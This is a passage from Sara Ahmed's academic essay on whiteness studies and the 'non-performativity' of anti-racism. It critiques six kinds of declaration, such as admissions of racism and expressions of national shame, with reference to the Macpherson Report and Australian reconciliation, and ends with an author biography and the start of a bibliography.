can see this ‘taking in’ and ‘taking on’ of institutional racism within the Macpherson Report (1999) into the police handling of the murder of Stephen Lawrence. The Macpherson report is an important document insofar as it recognises the police force as ‘institutionally racist’. What does this recognition do? A politics of recognition is also about definition: if we recognize something such as racism, then we also offer a definition of that which we recognize. In this sense, recognition produces rather than simply finds its object; recognition delineates the boundaries of what it recognises as given. As other social commentators have pointed out, the Macpherson report not only involved definitions of what is a racist incident (Chahal 1999), but also in defining the police as institutionally racist offered a definition, albeit hazy, of institutional racism (Solomon 1999). To quote from the report, institutional racism amounts to: ‘The collective failure of an organisation to provide an appropriate and professional service to people because of their colour, culture, or ethnic origin. It can be seen or detected in processes, attitudes and behaviour which amount to discrimination through unwitting prejudice, ignorance, thoughtlessness and racist stereotyping which disadvantage minority ethnic people’. 18. The language of institutional racism of course was not, of course, invented by the report. The push to see racism as institutional and structural comes out of anti-racist and Black politics: it is a direct critique of the idea that racism is psychological, or that is simply about bad individuals. In this report, the definition of an institution as being racist does involve recognition of the ‘collective’ rather than individual nature of racism. But it also forecloses what is meant by ‘collective’ and institutional by seeing evidence of that collectivity only in what institutions fail to do. In other words, the report defines institutional racism in such a way that racism is not seen as an ongoing series of actions that shape institutions, in the sense of the norms that get reproduced or ‘posited’ over time. We might wish to ‘see’ racism as a form of doing or even a field of positive action, rather than as a form of inaction. In other words, we might wish to examine how institutions become white through the positing of some bodies rather than others as the subjects of the institution (who the institution is shaped for, and who it is shaped by). Racism would not be evident in what ‘we’ fail to do, but what ‘we’ have already done, whereby the ‘we’ is an effect of the doing. The recognition of institutional racism within the Macpherson report reproduces the whiteness of institutions by seeing racism simply as the failure ‘to provide’ for non-white others ‘because’ of their difference. 19. We might notice as well that the psychological language creeps into the definition: ‘processes, attitudes and behaviour which amount to discrimination through unwitting prejudice, ignorance, thoughtlessness and racist stereotyping’. In a way, the institution becomes recognised as racist only through being posited as like an individual, as someone who suffers from prejudice, but who could be treated, so that they would act better towards racial others. To say ‘we are racist’ is here translated into the statement it seeks to replace, ‘I am racist’, where ‘our racism’ is describable as bad practice that can be changed through learning more tolerant attitudes and behaviour. Indeed, if the institution becomes like the individual, then one suspects that the institution also takes the place of individuals: it is the institution that is the bad person, rather than this person or that person. In other words, the transformation of the collective into an individual (a collective without individuals) might allow individual actors to refuse responsibility for collective forms of racism. 20. But there is more to say about the effects of this declaration, and what it does when institutional racism becomes an ‘institutional admission’. How would we read such declaration? I am uneasy about what it means for a subject or institution to posit itself as being racist. If racism is shaped by actions that don’t get seen by those who are its beneficiaries, what does it mean for those beneficiaries to see it? We could suppose that the declaration restricts racism to what we can see: after all the definition also claims that racism ‘can be seen or detected’ in certain forms of behaviour. But I would suggest the declaration might work both by claiming to see racism (in what the institution fails to do) and by maintaining the definition of racism as unseeing. If racism is defined as unwitting and collective prejudice, then the claim to be racist by being able to see racism in this or that form of practice is also a claim not to be racist in the same way. The paradoxes of admitting to one’s own racism are clear: saying ‘we are racist’ becomes a claim to have overcome the conditions (unseen racism) that require the speech act in the first place. The logic goes: we say, ‘we are racist’, and insofar as we can admit to being racist (and racists are unwitting), then we are showing that ‘we are not racist’, or at least that we are not racist in the same way. Declaration 3 I am/we are ashamed by my/ our racism 21. To declare oneself as being racist, or having been racist in the past, often involves a cultural politics of emotion: we might feel bad for one’s racism, a feeling bad that ‘shows’ we are doing something about ‘it’. But what does declaring one’s bad feeling do? For example, what would it mean to declare one’s shame for being or having been implicated in racism, which may or may not take the form of shame about being white? In Australia, the demand for recognition of racism towards Indigenous Australians, and for reconciliation, takes the form of the demand for the nation to express its shame (Gaita 2000a, 278; Gaita 2000b, 87-93). This demand has of course been refused by Howard and his wittingly racist government. It might seem like an odd strategy, but I want us to think a little about the political consequences of the action that has been refused: that is, what would it mean for the nation to declare its shame for being racist? Let’s recall the preface to Bringing them Home: It should, I think, be apparent to all well-meaning people that true reconciliation between the Australian nation and its indigenous peoples is not achievable in the absence of acknowledgement by the nation of the wrongfulness of the past dispossession, oppression and degradation of the Aboriginal peoples. That is not to say that individual Australians who had no part in what was done in the past should feel or acknowledge personal guilt. It is simply to assert our identity as a nation and the basic fact that national shame, as well as national pride, can and should exist in relation to past acts and omissions, at least when done or made in the name of the community or with the authority of government (Governor-General of Australia, Bringing them Home 1996). 22. In this quote, the nation is represented as having a relation of shame to the ‘wrongfulness’ of the past, although this shame exists alongside, rather than undoing, national pride. This proximity of national shame to indigenous pain may be what offers the promise of reconciliation, a future of ‘living together’, in which the rifts of the past have been healed. The nation posited here as ‘our identity’, in admitting the wrongfulness of the past, is moved by the injustices of the past. In the context of Australian politics, the process of being moved by the past seems ‘better’ than the process of remaining detached from the past, or assuming that the past has ‘nothing to do with us’. But the recognition of shame – or shame as a form of recognition – comes with conditions and limits. In this first instance, it is unclear ‘who’ feels shame. The quote explicitly replaces ‘individual guilt’ with ‘national shame’ and hence detaches the recognition of wrong doing from individuals, ‘who had no part in what was done’. This history is not personal, it implies. Of course, for the indigenous testifiers, the stories are personal. We must remember here that the personal is unequally distributed, falling as a requirement or even burden on some and not others. Some individuals tell their stories, indeed they have to do so, again and again, given this failure to hear (see Nicoll 2002, 28), whilst others disappear under the cloak of national shame. 23. Indeed, white people might only appear within the document as ‘well meaning people’, people who would identify with the nation in its expression of shame. Those who witness the past injustice through feeling ‘national shame’ are aligned with each other as ‘well meaning individuals’; if you feel shame, then you mean well. Shame ‘makes’ the nation in the witnessing of past injustice, a witnessing that involves feeling shame, as it exposes the failure of the nation to live up to its ideals. But this exposure is temporary, and becomes the ground for a narrative of national recovery. By witnessing what is shameful about the past, the nation can ‘live up to’ the ideals that secure its identity or being in the present. In other words, our shame shows that we mean well. The transference of bad feeling to the subject in this admission of shame is only temporary, as the ‘transference’ itself becomes evidence of the restoration of an identity of which we can be proud. 24. National shame can be a mechanism for reconciliation as self-reconciliation, in which the ‘wrong’ that is committed provides the very grounds for claiming national identity. It is the declaration of shame that allows us ‘to assert our identity as a nation’. Recognition works to restore the nation or reconcile the nation to itself by ‘coming to terms with’ its own past in the expression of ‘bad feeling’. But in allowing us to feel bad, shame also allows the nation to feel better or even to feel good. This conversion of shame into pride also shapes the Sorry Books, which have been posted on the web as a virtual form of community building. Sorry Books work as a form of public culture; individual postings are posted, and together form the book. Each posting works as an apology for the violence committed against Indigenous Australians, but they also work as a demand for the government to apologise on behalf of white Australia (for a consideration of the apology as a speech act see Ahmed 2004. All Sorry Book websites accessed 13/12/2002). 25. Take the following utterance. ‘The failure of our representatives in Government to recognise the brutal nature of Australian history compromises the ability of non indigenous Australians to be truly proud of our identity’. Here, witnessing the government’s lack of shame is in itself shaming. The shame at the lack of shame is linked to the desire ‘to be truly proud of our country’, that is, the desire to be able to identify with a national ideal. The recognition of a brutal history is implicitly constructed as the condition for national pride: if we recognise the brutality of that history through shame, then we can be proud. As another message puts it, ‘I am an Australian citizen who is ashamed and saddened by the treatment of the indigenous peoples of this country. This is an issue that cannot be hidden any longer, and will not be healed through tokenism. It is also an issue that will damage future generations of Australians if not openly discussed, admitted, apologised for and grieved. It is time to say sorry. Unless this is supported by the Australian government and the Australian people as a whol I cannot be proud to be an Australian’ (see link) . 26. Such utterances, whilst calling for recognition of the ‘treatment of the indigenous peoples’ does not recognise that subjects have unequal claims ‘to be an Australian’ in the first place. If saying sorry, leads to pride, who gets to be proud? I would suggest that the ideal image of the nation, which is based on some bodies and not others, is sustained through this very conversion of shame to pride. In such declarations of national pride, shame becomes a ‘passing phase’ in a passage towards being as a nation. Nowhere is this clearer than in the message: ‘I am an Australian Citizen who wishes to voice my strong belief in the need to recognise the shameful aspects of Australia’s past -– without that how can we celebrate present glories’. Here, the recognition of what is shameful in the past – what has failed the national ideal – is what would allow the white nation to be idealised and even celebrated in the present. 27. Such expressions of national shame are problematic as they seek within an utterance to finish an action, by claiming the expression of shame as sufficient for the return to national pride. In other words, such public expressions of shame try to ‘finish’ the speech act by converting shame to pride: it allows what is shameful to be passed over in the very enactment of shame. Declarations of shame can work to re-install the very ideals they seek to contest. As with the declarations of racism I discussed in declaration 2, they may even assume that the speech act itself can be taken as a sign of transcendence: if we say we are ashamed, if we say we were racist, then ‘this shows’ we are not racist now, we show that we mean well. The presumption that saying is doing – that being sorry means that we have overcome the very thing we are sorry about – hence works to support racism in the present. Indeed, what is done in this speech act, if anything is done, is that the white subject is re-posited as the social ideal. Declaration 4 I am/we are happy (and racist people are sad) 28. A paradox is clear. The shameful white subject expresses shame about its racism, and in expressing it shames, it ‘shows’ that it is not racist: if we are shamed, we mean well. The white subject that is shamed by whiteness is also a white subject that is proud about its shame. The very claim to feel bad (about this or that) also involves a self-perception of ‘being good’. There is a widely articulated anxiety that if the subject feels ‘too bad’, then they will become even worse. This idea is crucial to the idea of reintegrative shaming in restorative justice. A reintegrative shame is a good shame insofar as it does not make subjects ‘feel too bad’. In John Braithwaite’s terms, reintegration ‘shames while maintaining bonds of respect or love, that sharply terminates disapproval with forgiveness, instead of amplifying deviance by progressively casting the deviant out’ (1989, 12-13). 29. Shame would not be about making the offender feel bad (this would install a pattern of deviance), so ‘expressions of community disapproval’ are followed by ‘gestures of reacceptance’ (Braithwaite 1989, 55). Note, this model presumes the agents of shaming are not the victims (who might make the offender feel bad), but the family and friends of the offender. It is the love that offenders have for those who shame them, which allows shame to integrate rather than alienate. As such Braithwaite concludes that, ‘The best place to see reintegrative shaming at work is in loving families’ (1989, 56). The idea that shame should re-integrate is dependent on the fantasy of happy families; what ''bad others' are integrated into a social form that still depends on the exclusion of other others. The presumption here is that the family (and we could extend this to the nation as family) is good, and that bad feelings can only be good if they returned by an allegiance to social form. 30. It is hence no accident then that racism has been seen as caused by bad feelings. For example the reading of white people as injured and suffering from depression is crucial to neo-fascism: white fascist groups speak precisely of white people as injured and even hurt by the presence of racial as well as sexual others (see Ahmed 2004). But it has also been made by scholars such as Julia Kristeva, who suggests that depression in the face of cultural difference provides the conditions for fascism: so we should eliminate the ‘Muslim scarf’ (1993, 36-37). For Kristeva, cultural difference makes people depressed, and fascism is a political form of depression: so to be against fascism, one must also be against such visible displays of difference. There is more sophisticated version of this argument in Ghassan Hage’s Against Paranoid Nationalism (2003), which suggests that continued xenophobia has something to do with the fact that there is not enough hope to go around, although of course he does not attribute the lack of hope to cultural difference. Despite their obvious differences, the implication of such arguments is that anti-racism is about making people feel better: safer, happier, more hopeful, less depressed, and so on. 31. It might seem that happy, hopeful and secure non-racist whites hardly populate our landscape. So we really should not bother too much about them. But I think we should. For this very promise – this very hope that anti-racism resides in making whites happy or at least feeling positive about being white - has also been crucial to the emergence of pedagogy within whiteness studies. 32. Even within the most ‘critical’ literature on whiteness studies, there is an argument that whiteness studies should not make white people feel bad about being white (Giroux 1997, 310). Such arguments are made in the context of right-wing dismissals of whiteness studies as being ‘about’ making whites ashamed. They may also respond to the work of bell hooks (1989) and Audre Lorde (1984), who both emphasise how feeling bad about racism or white privilege can function as a form of self-centeredness, which returns the white subject ‘back into’ itself, as the one whose feelings matter. hooks in particular has considered guilt as the performance rather than undoing of whiteness. Guilt certainly works as a ‘block’ to hearing the claims of others in a re-turning to the white self. But within Whiteness Studies, does the refusal to make whiteness studies be about ‘feeling bad’ allow the white subject to ‘turn towards’ something else? What is the something else? Does this refusal to experience shame and guilt work to turn Whiteness Studies away from the white subject? 33. I would suggest that Whiteness Studies does not turn away from the white subject in turning away from bad feeling. Instead, I would even suggest that Whiteness Studies might even produce the white subject as the origin of good feeling. Ruth Frankenberg has argued that if whiteness is emptied out of any content other than that which is associated with racism or capitalism ‘this leaves progressive whites apparently without any genealogy’ (1993, 232). The implication of her argument is in my view unfortunate. It assumes the subjects of Whiteness Studies are ‘progressive whites’, and that the task of Whiteness Studies is to provide such subjects with a genealogy. In other words, whiteness studies would be about making ‘anti-racist’ whites feel better, as it would restore to them a positive identity. Kincheloe and Steinberg make this point directly when they comment on: ‘the necessity of creating a positive, proud, attractive antiracist white identity’ (1998, 34). The shift from the critique of white guilt to this claim to a proud anti-racism is not a necessary one. But it is telling shift. The white response to the Black critique of shame and guilt has enabled here a ‘turn’ towards pride, which is not then a turn away from the white subject and towards something else, but another way of ‘re-turning’ to the white subject. Indeed, the most astonishing aspect of this list of adjectives (positive, proud, attractive, antiracist) is that ‘antiracism’ becomes a white attribute: indeed, anti-racism may even provide the conditions for a new discourse of white pride. 34. Here, antiracism becomes a matter of generating a positive white identity, an identity that makes the white subject feel good about itself. The declaration of such an identity is not in my view an anti racist action. Indeed, it sustains the narcissism of whiteness and allows whiteness studies to make white subjects feel good about themselves, by feeling good about ‘their’ antiracism. One wonders again what happens to bad feeling in this performance of good, happy whiteness. If bad feeling is partly an effect of racism, and racism is accepted as ongoing in the present (rather than what happened in the past), then who gets to feel bad about racism? One suspects that happy whiteness, even when this happiness is about anti-racism, is what allows racism to remain the burden of non-white others. Indeed, I suspect that bad feelings of racism (hatred, fear, pain) are projected onto the bodies of unhappy racist whites, which allows progressive whites to be happy with themselves in the face of continued racism towards non-white others. Declaration 5 I/we have studied whiteness (and racist people are ignorant) 35. This declaration is a reminder that we should not forget the ‘Studies’ in ‘Whiteness Studies’. That word is also making a claim. Many have commented already on how whiteness is right at the center of intellectual history, but it is an absent centre: it is not studied explicitly, as it were. As Michele Fine has argued, ‘whiteness has remained both unmarked and unstudied’ (1997, 58). Her article appears within an excellent collection of essays, Off White. As Fine astutely observes, ‘paradoxically, to get off white, as the title of the collection suggests, first requires that we get on it in critical and politically transformative ways’ (1997, 58). 36. The organizing impulse within Whiteness Studies is that the studying of whiteness will be critical and transformative, quite understandably, and even quite rightly. But it might be opportune to question even this most founding assumption. The project of critical Whiteness Studies is about showing the ‘mark’ of the unmarked, about seeing the privilege concealed by the universality of ‘the human’. But what I want to question is whether learning to see the mark of privilege involves unlearning that privilege. What are we learning when we learn to see privilege? (Of course this question reminds us that the project of ‘learning to see’ is addressed to privileged subjects.) 37. Of course, if you live and work in the world of education, then you are likely to assume that learning is a good thing; we would probably share a resistance to defining learning as the achievement of learning outcomes, but have a view of learning as the opening up the capacity to think critically about what is before us. But one problem with being so used to the learning = good equation, is that we might even think that everyone should aspire to such learning, and that the absence of such learning is the ‘reason’ for inequality and injustice (cf. papers by Aveling and Nicoll in this issue). There is of course a class elitism that presumes university is the place we go to learn, let alone to think. This is the same elitism that says that those who don’t get to university, have failed, or are deprived. The aspiration of ‘university for all’ offers at one level a vital hope for the democratization of an elite culture, but at another, sustains the bourgeois illusion that others ‘would want’ the culture that is constituted precisely through not being available to all. 38. Now, this elitism has specific implications for racism. It is often assumed that if people learnt not just about whiteness, but about the world as such, then they would be ‘less likely’ to be racists. As Fiona Nicoll (1999) and Ghassan Hage (1998) have argued, the discourse of tolerance involves a presumption that racism is caused by ignorance, and that anti-racism will come about through more knowledge. We must contest the classism of the assumption that racism is caused by ignorance – which allows racism to be seen as what the working classes (or other less literate others) do. How does this classism travel into the subject-constitution of whiteness studies? 39. I suspect it does, or at least that it could do. Phil Cohen for has example has suggested that whiteness has ‘in the last few years, undergone a radical reinvention’; ‘it is a self-conscious and critical, not taken for granted or disavowed’ (1997, 244). He is talking about whiteness here, rather than whiteness studies. But who is being addressed in this affirmation of a new whiteness? This idea of a new whiteness, which is ‘self-conscious and critical’, is about a particular kind of white subject, one that is not equally available to all whites, let alone any others. I have already suggested that the term ‘critical’ functions within the academy to differentiate between the good and the bad, the progressive and the conservative, where ‘we’ always line up with the former. The term ‘critical’ might even suggest the production of ‘good knowledge’. The term ‘self-conscious’ has its own genealogy; its own conditions of emergence. A self-conscious subject is one that turns its gaze towards itself, and that might manage itself, or reflect upon itself, or even turn itself into a project (Rose 1999). Such a self-conscious subject is classically a bourgeois subject, one who has the time and resources to be a self, as a subject that has depth which one can be conscious about, in the first place (Skeggs 2004). The term ‘self-conscious’ might even suggest the production of a ‘good subject’, one who has positive attributes. 40. The fantasy that organises this new white subject/knowledge formation is that studying whiteness will make white people, ‘self-conscious and critical’. This is a progressive story: the white subject, by learning (about themselves?) will no longer take for granted or even disavow their whiteness. The fantasy presumes that to be critical and self-conscious is a good thing, and is even the condition of possibility for anti-racism (see also paper by Westcott in this issue). I suspect one can be a self-conscious white racist, but that’s beside the point. The point is that racism is not simply about ‘ignorance’, or stereotypical knowledge. We can learn about racism and express white privilege in the very presumption of the entitlement to learn or to self-consciousness. We could even recall here the Marxian critique of self-consciousness as predicated on the distinction between mental and manual labour, and as supported by the concealment of the manual labour of others (Marx and Engels 1969). Indeed, if learning about whiteness becomes a subject skill and a subject specific skill, then ‘learned whites’ are precisely ‘given privilege’ over others, whether those others are ‘unlearned whites’ or learning or unlearned non-white others. Studying whiteness can involve the claiming of a privileged white identity as the subject who knows. My argument suggests that we cannot simply unlearn privilege when the cultures in which learning take place are shaped by privilege. Declaration 6 I am/we are coloured (too) 41. My final declaration returns us to the question of ‘the colour’ of whiteness. As Dyer’s work (1997) points out so beautifully, whiteness is often seen as the absence of colour: colour is what other people have (blackness as ‘coloured’). To learn to see whiteness as a colour rather than an absence of colour is crucial to the marking of whiteness. 42. But the declaration that whiteness is a colour (too) can actually function as a return address that exercises white privilege. For example, the turn towards the language of diversity within Australia and UK is often made through the adoption of the language of colour. Race becomes a question of surface, of different colours, where in being a colour, whiteness becomes just a colour, along with other colours. In other words, the transformation of whiteness into a colour can work to conceal the power and privilege of whiteness: as such, it can exercise that privilege. This is ‘the rainbow’ view of multiculturalism, or multiculturalism as a ‘colour spectrum’ (Lury 1996). In particular, I am interested in exploring how the rainbow view involves a claim of whiteness as an ‘alongsideness’. 43. This neutralization of the difference of whiteness can operate without reference to colour. In the UK, it is now common to say equality and diversity are ‘not just for minorities’, they are ‘for everyone’. White people are included in this ‘everyone’. Now at one level this inclusion is useful: it stops equality being seen as simply a project for minorities: white people too have a responsibility in the struggle against inequality and racism. Racism does in this way affect everybody, including those whom it gives privilege, and hence the responsibility for anti-racism should be ‘everyone’s’. But ‘the everyone’ is ambivalent: it can also imply that white people are part of the everyone, not only in the sense of sharing responsibility (which is of course a hope rather than a social given), but also in the sense that they suffer discrimination. The ‘everyone’ can work to conceal inequalities that structure the present. When whites, amongst others, are including in ‘the everyone’, then they can become present as ‘just’ another minority. 44. The consultation document produced by the Women and Equality Unit in the UK, Equality and Diversity: Making it Happen, states: ‘We need to move beyond the idea that discrimination legislation is only about protecting minority groups, important though that this. It is now very much about providing protection for everyone’. Here, everyone needs protection, not just minority groups. As such, everyone suffers discrimination. Being a colour amongst other colours becomes a claim to being discriminated against along with others. We need to read this neutralization of hierarchy with care. The declaration ‘I am/we are a coloured’ does have, in its form, the bracketed ‘too’. The ‘too’ often evokes a pronoun, even when the pronoun is not used: the speech act takes the form of a ‘me too’, or ‘we too’. Me too, I have suffered; we too, we have suffered. It is almost as if the white subject suffers from being ‘left out’ of what gets put in place to deal with the effects of white privilege. 45. So, although the ‘we are all colours’ language does not necessarily take the form of a language of injury, it provides the conditions for the use of such language: here, everybody might be injured, might be victims of discrimination, even racism, whatever your colour. Within fascism the claim is stronger: the white subject is the one who is injured by others and needs to be protected from others. Here, the claim is that the white bodies are injured along with the bodies of others, and need to be protected along with others. The declaration ‘we are coloured too’ hence allows the disappearance of the privilege of whiteness, or the disappearance of the vertical axis; the ways in which white bodies aren’t simply placed horizontally alongside other bodies. To treat white bodies ‘as if’ they were bodies alongside others is to imagine that we can undo the vertical axis of race through the declaration of alongsideness. Conclusion 46. I must admit to my own anxieties in writing about such declarations as non-performative. It feels a bit smug to be critical of whiteness studies, and even critical of ‘critical whiteness studies’, given that I have already ‘admitted’ that I do not identify with this field. So where am I in this critique? There I am, you might say, writing race equality policies that get used by my university as an indicator of its good performance. The critique I am offering, as a Black feminist, is a critique of something in which I am implicated, insofar as racism structures the institutional space in which I make my critique, and even the very terms out of which I make it. In the face of how much we are ‘in it’, our question might become: is anti-racism impossible? 47. Given that Black politics, in all its varied forms, has worked to challenge the ongoing ‘force’ of racism, then to even question whether anti-racism is possible seems misguided and could even be seen as a denial of the historical fact of political agency. Surely the commitment to being against racism has ‘done things’ and continues to ‘do things’. What we might remember is that to be against something is precisely not to be in a position of transcendence: to be against something is, after all, to be in an intimate relation with that which one is against. To be anti ‘this’ or anti ‘that’ only makes sense if ‘this’ or ‘that’ exists. The messy work of ‘againstness’ might even help remind us that the work of critique does not mean the transcendence of the object of our critique; indeed, critique might even be dependent on non-transcendence. 48. So our task might be to critique the presumption that to be against racism is to transcend racism. I hence would not follow critics such as Paul Gilroy in suggesting anti-racism needs to go beyond race in order to avoid the reification of race (2000, 51-53). I am very sympathetic to the logic of this argument. But for me we cannot do away with race, unless racism is ‘done away'. Racism works to produce race as if it was a property of bodies (biological essentialism) or cultures (cultural essentialism). Race exists as an effect of histories of racism as histories of the present. Categories such as black, white, Asian, mixed-race, and so on have lives, but they do not have lives ‘on their own’, as it were. They become fetish objects (black is, white is) only by being cut off from histories of labour, as well as histories of circulation and exchange. Such categories are effects and they have affects: if we are seen to inhabit this or that category, it shapes what we can do, even if it does not fully determine our course of action. Thinking beyond race in a world that is deeply racist is a best a form of utopianism, at worse a form of neo-liberalism: it imagines we could get beyond race, supporting the illusion that social hierarchies are undone once we have ‘seen through them’ (see also paper by Haggis in this issue). 49. For me, the task is to build upon Black activism and scholarship that shows how racism operates to shape the surfaces of bodies and worlds. I am not saying that understanding racism will necessarily make us non-racist or even anti-racist, although of course I sometimes wish this was true. But race, like sex, is sticky; it sticks to us, or we become ‘us’ as an effect of how it sticks, even when we think we are beyond it. Beginning to live with that stickiness, to think it, feel it, do it, is about creating a space to deal with the effects of racism. We need to deal with the effects of racism in a way that is better. Racism has effects, including the diminishing of capacities for action, which is another way of describing the existential and material realities of race. Living with racism would be finding a way to be less diminished by its effects. This is not to posit racism as the origin of everything, which would be to create a new metaphysics of race. Racism is a way of describing histories of struggle, repeated over time and with force, that have produced the very substance or matter we call inadequately ‘race’. 50. This might sound like an argument about the performativity of race. I am sympathetic with the idea that race is performative in Judith Butler’s (1993) sense of the term: race as a category is brought into existence by being repeated over time (race is an effect of racialisation). I have even argued for the performativity of race myself (Ahmed 2002). But throughout this paper I have insisted on the non-performativity of anti-racism. It might, seem now, a rather odd tactic. If race is performative, and is itself an effect of racism, then why isn’t anti-racism performative as well? Is anti-racism a form of ‘race trouble’ that is performative as it ‘exposes’ the performativity of race, and which by citing the terms of racism (such as ‘white’) allows those terms to acquire new meanings? I would suggest the potential ‘exposure’ of the performativity of race does not make ‘anti-racism’ performative as a speech act. As I stated in my introduction, I am using performativity in Austin’s sense as referring to a particular class of speech, where the issuing of the utterance ‘is the performing of an action’ (1975, 6). In such speech the saying is the doing; it is not that saying something leads to something, but that it does something at the moment of saying. It is important to note here that, for Austin, performativity is not a quality of a sign or an utterance; it does not reside within the sign, as if the sign was magical. For an utterance to be performative, certain conditions have to be met. When these conditions are met, then the performative is happy. This model introduces a class of ‘unhappy performatives’: utterances that would ‘do something’ if the right conditions had been met, but which do not do that thing, as the conditions have not been met. 51. I would hasten to add that in my view performativity has become rather banal and over-used within academic writing; it seems as if almost everything is performative, where performative is used as a way of indicating that something is ‘brought into existence’ through speech, representation, writing, law, practice, or discourse. Partly, I am critiquing this ‘banalisation’ of the performative, as well as how performativity as a concept can be used in a way that ‘forgets’ how performativity depends upon the repetition of conventions and prior acts of authorization (see Butler 1997). I am also suggesting that the logic that speech ‘brings things into existence’ (as a form for positive action) only goes so far, and indeed the claim that saying is doing can bypass that ways in which saying is not sufficient for an action, and can even be a substitute for action. 52. My concern with the non-performativity of anti-racism has hence been to examine how sayings are not always doings, or to put it more strongly, to show how the investment in saying as if saying was doing can actually extend rather than challenge racism. Implicitly, I am critiquing a claim that I have not properly attributed: that is, the claim that anti-racism is performative. I would argue that the six declarations of whiteness I have analysed function as implicit claims to the performativity of anti-racism. The claim to the performativity of anti-racism would be to presume that ‘being anti’ is transcendent, and that to declare oneself as being something shows that one is not the thing that one declares oneself to be. It might be assumed that the speech act of declaring oneself (to be white, or learned, or racist) ‘works’ as it brings into existence the non- or anti-racist subject or institution. None of these claims I have investigated operate as simple claims. None of them say ‘I/we are not racists’ or ‘I/we are anti-racists’, as if that was an action. They are more complex utterances, for sure. They have a very specific form: they define racism in a particular way, and then they imply ‘I am not’ or ‘we are not’ that. 53. So it is not that such speech acts say ‘we are anti-racists’ (and saying makes us so); rather they say ‘we are this’, whilst racism is ‘that’, so in being ‘this’ we are not ‘that’, where ‘that’ would be racist. So in saying we are raced as whites, then we are not racists, as racism operates through the unmarked nature of whiteness; or in saying we are racists, then we are not racists, as racists don’t know they are racists; or in expressing shame about racism, then we are not racists, as racists are shameless; or in saying we are positive about our racial identity, as an identity that is positive insofar as it involves a commitment to anti-racism, then we are not racists, as racists are unhappy, or in being self-critical about racism, then we are not racists, as racists are ignorant; or in saying we exist alongside others, then we are not racists, as racists see themselves as above others, and so on. 54. These statements function as claims to performativity rather than as performatives, whereby the declaration of whiteness is assumed to put in place the conditions in which racism can be transcended, or at the very least reduced in its power. Any presumption that such statements are forms of political action would be an overestimation of the power of saying, and even a performance of the very privilege that such statements claim they undo. The declarative mode, as a way of doing something, involves a fantasy of transcendence in which ‘what’ is transcended is the very thing ‘admitted to’ in the declaration: so, to put it simply, if we admit to being bad, then we show that we are good (see also paper by Hill and Riggs in this issue). So it is in this specific sense that I have argued that anti-racism is not performative. Or we could even say that anti-racist speech in a racist world is an ‘unhappy performative’: the conditions are not in place that would allow such ‘saying’ to ‘do’ what it ‘says’. 55. Our task is not to repeat anti-racist speech in the hope that it will acquire performativity. Nor should we be satisfied with the ‘terms’ of racism, or hope they will acquire new meanings, or even look for new terms. Instead, anti-racism requires much harder work, as it requires working with racism as an ongoing reality in the present. Anti-racism requires interventions in the political economy of race, and how racism distributes resources and capacities unequally amongst others. Those unequal distributions also affect the ‘business’ of speech, and who gets to say what, about whom, and where. We need to consider the intimacy between privilege and the work we do, even in the work we do on privilege. 56. You might not be surprised to hear that a white response to this paper has asked the question, ‘but what are white people to do’. That question is not necessarily misguided, although it does re-center on white agency, as a hope premised on lack rather than presence. It is a question asked persistently in response to hearing about racism and colonialism: I always remember being in an audience to a paper on the stolen generation and the first question asked was: ‘but what can we do’. The impulse towards action is understandable and complicated; it can be both a defense against the ‘shock’ of hearing about racism (and the shock of the complicity revealed by the very ‘shock’ that ‘this’ was a ‘shock’); it can be an impulse to reconciliation as a ‘re-covering’ of the past (the desire to feel better); it can be about making public one’s judgment (‘what happened was wrong’); or it can be an expression of solidarity (‘I am with you’); or it can simply an orientation towards the openness of the future (rephrased as: ‘what can be done?’). But the question, in all of these modes of utterance, can work to block hearing; in moving on from the present towards the future, it can also move away from the object of critique, or place the white subject ‘outside’ that critique in the present of the hearing. In other words, the desire to act, to move, or even to move on, can stop the message ‘getting through’. 57. To hear the work of exposure requires that white subjects inhabit the critique, with its lengthy duration, and to recognise the world that is re-described by the critique as one in which they live. The desire to act in a non-racist or anti-racist way when one hears about racism, in my view, can function as a defense against hearing how that racism implicates which subjects, in the sense that it shapes the spaces inhabited by white subjects in the unfinished present. Such a question can even allow the white subject to re-emerge as an agent in the face of the exposure of racism, by saying ‘I am not that’ (the racists of whom you speak), as an expression of ‘good faith’. The desire for action, or even the desire to be seen as the good white anti-racist subject, is not always a form of bad faith, that is, it does not necessarily involve the concealment of racism. But such a question rushes too quickly past the exposure of racism and hence ‘risks’ such concealment in the very ‘return’ of its address. 58. I am of course risking being seen as producing a ‘useless’ critique by not prescribing what an anti-racist whiteness studies would be, or by not offering some suggestions about ‘what white people can do’. I am happy to take that risk. At the same time, I think it is quite clear that my critique of ‘anti-racist whiteness’ is prescriptive. After all, I am arguing that whiteness studies, even in its critical form, should not be about re-describing the white subject as anti-racist, or constitute itself as a form of anti-racism, or even as providing the conditions for anti-racism. Whiteness studies should instead be about attending to forms of white racism and white privilege that are not undone, and may even be repeated and intensified, through declarations of whiteness, or through the recognition of privilege as privilege. 59. In making this prescription, it is important that I do not rush to ‘inhabit’ a ‘beyond’ to the work of exposing racism, as that which structures the present that we differently inhabit. At the same time, it is always tempting to end one’s work with an expression of political hope. Such hope is what makes the work of critique possible, in the sense that without hope, the future would be decided, and there would be nothing left to do. Perhaps its time to ‘return’ to the ‘turn’ of whiteness studies, by asking where else we might turn. If ‘whiteness studies’ turns towards white privilege, as that which enables and endures declarations of whiteness, then this does not simply involve turning towards the white subject, which would amount to the narcissism of a perpetual return. Rather, whiteness studies should involve at least a double turn: to turn towards whiteness is to turn towards and away from those bodies who have been afforded agency and mobility by such privilege. In other words, the task for white subjects would be to stay implicated in what they critique, but in turning towards their role and responsibility in these histories of racism, as histories of this present, to turn away from themselves, and towards others. This ‘double turn’ is not sufficient, but it clears some ground, upon which the work of exposing racism might provide the conditions for another kind of work. We don’t know, as yet, what such conditions might be, or whether we are even up to the task of recognizing them. Sara Ahmed has recently taken up a new post as Reader in Race and Cultural Studies, Goldsmiths College, University of London. Her writings include: Differences that Matter: Feminist Theory and Postmodernism (1998); Strange Encounters: Embodied Others in Post-Coloniality (2000) and The Cultural Politics of Emotion (2004). She is currently working on two books: Orientations: Towards a Queer Phenomenology and Doing Diversity: Racism and Educated Subjects. The latter book will draw on data collected from the research project Integrating Diversity? Gender, Race and Leadership in the Post 16 Skills Sector, which is housed in Women's Studies, Lancaster University and the Centre of Excellence for Leadership (CEL), and is funded by the DfES. The project, which she co-directs with Elaine Swan, asks the question 'what does diversity do' within the context of adult and community learning, further education and higher education in the UK, and includes comparative analyses of the 'turns' to diversity within Australia and Canada. Email: [email protected] Bibliography Ahmed, S. (2002) ‘Racialised Bodies,’ in M.Evans and E.Lee (eds) Real Bodies. London: Palgrave. ________ (2004) The Cultural Politics of Emotion. Edinburgh: Edinburgh University Press. Austin, 